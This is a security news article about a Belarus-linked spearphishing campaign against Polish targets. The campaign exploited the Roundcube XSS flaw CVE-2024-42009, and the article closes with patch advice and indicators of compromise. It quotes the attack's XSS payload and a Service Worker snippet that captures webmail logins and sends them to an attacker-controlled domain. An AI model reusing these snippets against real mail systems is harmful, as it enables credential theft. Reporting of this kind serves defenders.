Hackers Exploit Roundcube Vulnerability to Steal User Credentials via XSS Attack

A recent spearphishing campaign targeting Polish entities has been attributed with high confidence to the UNC1151 threat actor, a group linked to Belarusian state interests and, according to some sources, Russian intelligence services.

CERT Polska reports that the attackers leveraged a critical vulnerability in the Roundcube webmail platform—CVE-2024-42009—to steal user credentials with minimal user interaction.

The phishing emails were crafted to appear urgent, using subjects like “[!IMPORTANT] Invoice to reservation number: S2500650676,” and required only that the recipient open the message for the exploit to trigger.

The vulnerability allowed malicious JavaScript embedded in the email to execute in the victim’s browser, bypassing standard sanitization mechanisms.

CVE-2024-42009 and Attack Flow

CVE-2024-42009 is a critical Cross-Site Scripting (XSS) vulnerability affecting Roundcube versions up to 1.5.7 and 1.6.x up to 1.6.7.

The flaw arises from a desanitization bug in the message_body() function, where improper handling of HTML attributes allowed attackers to inject and execute arbitrary JavaScript code.

Sonar security researchers first reported this issue and has a CVSS v3.1 score of 9.3, reflecting its high risk.

The attack chain, as observed by CERT Polska, unfolded in two key stages:

1. Initial Exploit and Service Worker Installation
   Upon opening the malicious email, the victim’s browser executed JavaScript that registered a Service Worker using a code snippet similar to: xml<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes; animation-duration: 1s; onanimationstart=d=document.querySelector('#attachment-list');if(d)d.style.display='none';n=navigator; u=d?.querySelector('a').href;if(u)n.serviceWorker.register(u) (...)"> This Service Worker, hosted as an attachment, enabled persistent background access to webmail sessions.
2. Credential Harvesting via Service Worker
   The Service Worker intercepted login POST requests, capturing user credentials and exfiltrating them to an attacker-controlled domain: javascriptself.addEventListener('fetch', event => { if (event.request.method === 'POST') { const cloned = event.request.clone(); cloned.text().then(bodyText => { const params = new URLSearchParams(bodyText); const user = params.get('username') || params.get('_user'); const pass = params.get('password') || params.get('_pass'); fetch('https://a.mpk-krakow.pl/creds', { body: JSON.stringify({ login: user, password: pass }), // ... }); }); } }); This allowed attackers to collect credentials as users attempted to log in to their legitimate webmail portals.

Vulnerability	Type	Affected Versions	Attack Vector	Impact	Patch Version
CVE-2024-42009	XSS	≤1.5.7, 1.6.x ≤1.6.7	Malicious Email	Credential theft, session hijack	1.6.8, 1.5.8
CVE-2025-49113	RCE (PHP Deserialization)	≤1.6.10	Authenticated User	Full server compromise	1.6.11, 1.5.10

CVE-2025-49113 and Defensive Measures

While no exploitation of the newly discovered CVE-2025-49113 has been observed, this vulnerability allows authenticated attackers to execute arbitrary code on the server via unsafe PHP object deserialization, posing a risk of complete webmail server takeover.

Security experts warn that chaining this with credential theft could enable devastating attacks.

Recommendations:

• Update Roundcube to at least version 1.6.11 or 1.5.10 to mitigate both vulnerabilities.
• Review logs for connections to a.mpk-krakow[.]pl and other indicators of compromise.
• Reset passwords and unregister suspicious Service Workers via browser developer tools.
• Report incidents to the appropriate CSIRT authority if targeted.

Indicators of Compromise (IoC):

• Malicious sender addresses: irina.vingriena@gmail[.]com, julitaszczepanska38@gmail[.]com
• Credential harvesting domain: a.mpk-krakow[.]pl
• SHA256 of malicious JS: 70cea07c972a30597cda7a1d3cd4cd8f75acad75940ca311a5a2033e6a1dd149.

The UNC1151 campaign underscores the critical importance of timely patching and vigilant monitoring of webmail platforms, especially those widely used in government and enterprise environments.

To Upgrade Your Cybersecurity Skills, Take Diamond Membership With 150+ Practical Cybersecurity Courses Online – Enroll Here